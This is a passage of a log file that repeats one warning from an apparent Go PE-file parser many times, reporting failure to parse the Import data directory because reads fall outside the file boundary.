Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:22:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: 